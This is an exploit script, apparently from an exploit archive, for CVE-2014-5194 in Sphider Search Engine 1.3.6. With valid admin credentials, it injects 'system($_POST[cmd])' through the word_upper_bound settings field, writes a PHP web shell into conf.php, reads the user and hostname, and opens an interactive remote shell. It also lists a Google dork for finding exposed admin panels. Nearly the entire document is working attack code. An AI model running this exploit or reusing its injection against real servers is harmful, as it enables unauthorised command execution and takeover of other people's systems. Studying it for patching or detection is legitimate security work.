Sphider Search Engine 1.3.6 - 'word_upper_bound' RCE (Authenticated)

# Exploit Title: Sphider Search Engine 1.3.6 - 'word_upper_bound' RCE (Authenticated)
# Google Dork: intitle:"Sphider Admin Login"
# Date: 2014-07-28
# Exploit Author: Gurkirat Singh
# Vendor Homepage: http://www.sphider.eu/
# Software Link: http://www.sphider.eu/sphider-1.3.6.zip
# Version: v1.3.6
# Tested on: Windows and Linux
# CVE : CVE-2014-5194
# Proof of Concept: https://www.exploit-db.com/exploits/34189

from argparse import ArgumentParser, RawTextHelpFormatter
from huepy import *
import string
import random
from bs4 import BeautifulSoup, Tag
from requests import Session
from randua import generate as randua

_F = "".join(random.choices(string.ascii_letters, k=13))

parser = ArgumentParser(description="Exploit for CVE-2014-5194",
                        formatter_class=RawTextHelpFormatter)
parser.add_argument("--target",
                    "-t",
                    help="target uri where application is installed",
                    required=True,
                    metavar="",
                    dest="t")
parser.add_argument("--user",
                    "-u",
                    help="username to authenticate",
                    required=True,
                    metavar="",
                    dest="u")
parser.add_argument("--password",
                    "-p",
                    help="password to authenticate",
                    required=True,
                    metavar="",
                    dest="p")
parser.add_argument("--debug",
                    help="if passed, spawn the firefox window",
                    default=True,
                    action="store_false")
parser.add_argument("--timeout",
                    help="timeout in seconds (default: 1)",
                    dest="T",
                    metavar="",
                    default=1)
args = parser.parse_args()

if args.t.endswith("/"):
    args.t = args.t[:-1]

print(run("Logging in"))

with Session() as http:
    data = {"user": args.u, "pass": args.p}

    headers = {"User-Agent": randua()}
    http.post(args.t + '/admin/auth.php',
              data=data,
              headers=headers,
              allow_redirects=False)
    r = http.get(args.t + '/admin/admin.php',
                 headers=headers,
                 allow_redirects=False)
    html = BeautifulSoup(r.content.decode(), "lxml")
    title: Tag = html.find("title")

    if title.text == "Sphider Admin Login":
        print(bad("Failed to login"))
        exit(1)
    else:
        print(good("Logged in"))

    payload = {
        'f': 'settings',
        'Submit': '1',
        '_version_nr': '1.3.5',
        '_language': 'en',
        '_template': 'standard',
        '_admin_email': 'admin@localhost',
        '_print_results': '1',
        '_tmp_dir': 'tmp',
        '_log_dir': 'log',
        '_log_format': 'html',
        '_min_words_per_page': '10',
        '_min_word_length': '3',
        '_word_upper_bound': '100;system($_POST[cmd])',
        '_index_numbers': '1',
        '_index_meta_keywords': '1',
        '_pdftotext_path': 'c:\\temp\\pdftotext.exe',
        '_catdoc_path': 'c:\\temp\\catdoc.exe',
        '_xls2csv_path': 'c:\\temp\\xls2csv',
        '_catppt_path': 'c:\\temp\\catppt',
        '_user_agent': 'Sphider',
        '_min_delay': '0',
        '_strip_sessids': '1',
        '_results_per_page': '10',
        '_cat_columns': '2',
        '_bound_search_result': '0',
        '_length_of_link_desc': '0',
        '_links_to_next': '9',
        '_show_meta_description': '1',
        '_show_query_scores': '1',
        '_show_categories': '1',
        '_desc_length': '250',
        '_did_you_mean_enabled': '1',
        '_suggest_enabled': '1',
        '_suggest_history': '1',
        '_suggest_rows': '10',
        '_title_weight': '20',
        '_domain_weight': '60',
        '_path_weight': '10',
        '_meta_weight': '5'
    }

    print(run("Exploiting"))
    http.post(args.t + "/admin/admin.php", data=payload)
    r = http.post(args.t + "/settings/conf.php", data={"cmd": "echo %s" % _F})
    if r.content.decode().strip() != _F:
        print(bad("Failed"))
        exit(1)
    print(good("Exploited"))
    print(info("Spawning Shell"))
    user = http.post(args.t + "/settings/conf.php", data={"cmd": "whoami"})
    host = http.post(args.t + "/settings/conf.php",
                     data={"cmd": "cat /etc/hostname"})
    shell = f"{lightgreen('%s@%s'%(user.content.decode().strip(), host.content.decode().strip()))}{blue('$ ')}"

    while True:
        try:
            cmd = input(shell)
            if cmd == "exit": break
            r = http.post(args.t + "/settings/conf.php", data={"cmd": cmd})
            print(r.content.decode().strip())
        except:
            break
    print()